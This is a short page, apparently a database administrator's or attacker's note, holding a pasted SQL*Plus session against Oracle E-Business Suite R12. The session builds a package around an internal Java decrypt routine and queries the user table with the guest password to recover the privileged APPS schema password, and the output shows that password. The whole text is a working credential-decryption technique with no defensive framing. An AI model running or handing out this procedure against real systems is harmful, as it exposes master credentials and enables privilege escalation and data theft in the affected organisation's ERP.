Able to find out apps password in r12
- 1. SQL> CREATE OR REPLACE PACKAGE get_user_pwd AS FUNCTION decrypt ( KEY IN VARCHAR2 ,VALUE IN VARCHAR2 ) RETURN VARCHAR2; END get_user_pwd; / 2 3 4 Package created. SQL> CREATE OR REPLACE PACKAGE BODY get_user_pwd AS FUNCTION decrypt ( KEY IN VARCHAR2 ,VALUE IN VARCHAR2 ) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt (java.lang.String,java.lang.String) return java.lang.String'; END get_user_pwd; / 2 3 4 5 Package body created. SQL> Select (Select Get_User_Pwd.Decrypt (Upper ((Select Upper (Fnd_Profile.Value ('Guest_User_Pwd')) From Dual)), Usertable.Encrypted_Foundation_Password) From Dual) As Apps_Password From Fnd_User Usertable Where Usertable.User_Name Like Upper ((Select Substr (Fnd_Profile.Value ('Guest_User_Pwd') ,1 , Instr (Fnd_Profile.Value ('Guest_User_Pwd'), '/') - 1 ) From Dual)); 2 3 4 5 no rows selected SQL> Select (Select Get_User_Pwd.Decrypt (Fnd_Web_Sec.Get_Guest_Username_Pwd, Usertable.Encrypted_Foundation_Password) From Dual) As Apps_Password From Fnd_User Usertable Where Usertable.User_Name Like (Select Substr (Fnd_Web_Sec.Get_Guest_Username_Pwd ,1, Instr (Fnd_Web_Sec.Get_Guest_Username_Pwd, '/') - 1) From Dual); 2 3 4 5 APPS_PASSWORD -------------------------------------------------------------------------------- APPS